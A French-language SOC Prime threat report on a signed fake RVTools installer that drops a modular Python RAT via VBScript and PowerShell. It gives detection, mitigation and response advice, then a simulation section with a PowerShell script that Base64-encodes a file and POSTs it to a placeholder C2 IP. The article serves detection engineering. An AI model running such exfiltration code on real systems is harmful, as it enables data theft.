SOC Prime Bias: Moyen

29 May 2026 07:20 UTC

RVTools Mascarade : Comment un Faux Installateur Signé Déploie un RAT Modulaire en Python

Author Photo
SOC Prime Team linkedin icon Suivre
RVTools Mascarade : Comment un Faux Installateur Signé Déploie un RAT Modulaire en Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un installateur MSI malveillant signé avec un certificat légitime se fait passer pour l’utilitaire RVTools utilisé par les administrateurs VMware. Une fois exécuté, l’installateur déploie un script VBScript qui lance PowerShell pour télécharger une grande archive ZIP depuis Dropbox. Cette archive contient un environnement Python portable qui exécute un RAT à plusieurs étapes capable de reconnaissance, de persistance et de communication avec des serveurs de commande et contrôle codés en dur.

Enquête

L’analyse a retracé le MSI à une action personnalisée de VBScript, Binary.MyScript.vbs, qui a décodé une commande PowerShell obfusquée. Cette commande a téléchargé une winp.zip charge utile dans %APPDATA%, a extrait des composants et scripts Python tels que collector.py and Pmanager.py, puis a établi la persistance par des clés de registre Run et une tâche planifiée après redémarrage. Les chercheurs ont également trouvé que le RAT cryptait les données collectées avec RC4 et communiquait avec cinq adresses IP fixes à des intervalles de cinq minutes.

Atténuation

Les organisations devraient appliquer une validation stricte de la signature de code avec des vérifications OCSP ou CRL en direct, bloquer l’exécution d’MSI non approuvés, et surveiller les actions VBScript personnalisées suspectes intégrées dans les paquets d’installation. Les défenseurs devraient également empêcher l’exécution automatique des scripts téléchargés, surveiller les nouvelles entrées de clés Run et la création de tâches planifiées, et alerter sur le trafic sortant vers des adresses IP inconnues codées en dur.

Réponse

Si cette activité est détectée, isolez immédiatement l’endpoint affecté, collectez le MSI, le VBScript et les fichiers de charge utile extraits pour analyse forensique, et supprimez tous les artefacts de persistance, y compris la clé Run et la tâche planifiée. Les adresses IP de commande et contrôle identifiées doivent être bloquées au niveau du pare-feu, et un examen plus large des informations d’identification et de l’activité Active Directory doit être effectué pour déterminer si un mouvement latéral a eu lieu.

Flux d’Attaque

Exécution de la Simulation

Condition Préalable: Le Contrôle Avant Décollage de Télémetrie & Base doit être Passé.

Raison: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTP identifiés et visent à générer la télémetrie exacte attendue par la logique de détection.

  • Narration & Commandes de l’Attaque:
    Un adversaire qui s’est déjà établi sur la machine victime décide d’exfiltrer un petit jeu de données (par exemple, C:Tempsecret.txt). Pour éviter de déclencher des alertes de trafic sortant génériques, l’acteur utilise un PowerShell one‑liner qui exécute un HTTP POST directement vers une des adresses IP C2 codées en dur (192.0.2.10). La commande est planifiée via une Tâche Planifiée pour assurer la persistance (T1546.013). Aucun autre binaire n’est déposé, maintenant l’activité « vivre-de-la-terre ».

  • Script de Test de Régression:

    # -------------------------------------------------
    # Script PowerShell – Exfiltration des données via IP codée en dur
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Assurez-vous que le fichier existe (créer des données fictives pour le test)
    if (-Not (Test-Path $file)) {
        "données sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Lire le contenu du fichier et l'encodage en Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Effectuer le POST HTTP
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Tentative d'exfiltration envoyée à $c2Ip"
    } catch {
        Write-Error "Échec de l'exfiltration : $_"
    }
  • Commandes de Nettoyage:

    # Supprimer le fichier fictif
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Supprimer toute tâche planifiée créée pour le test (le cas échéant)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }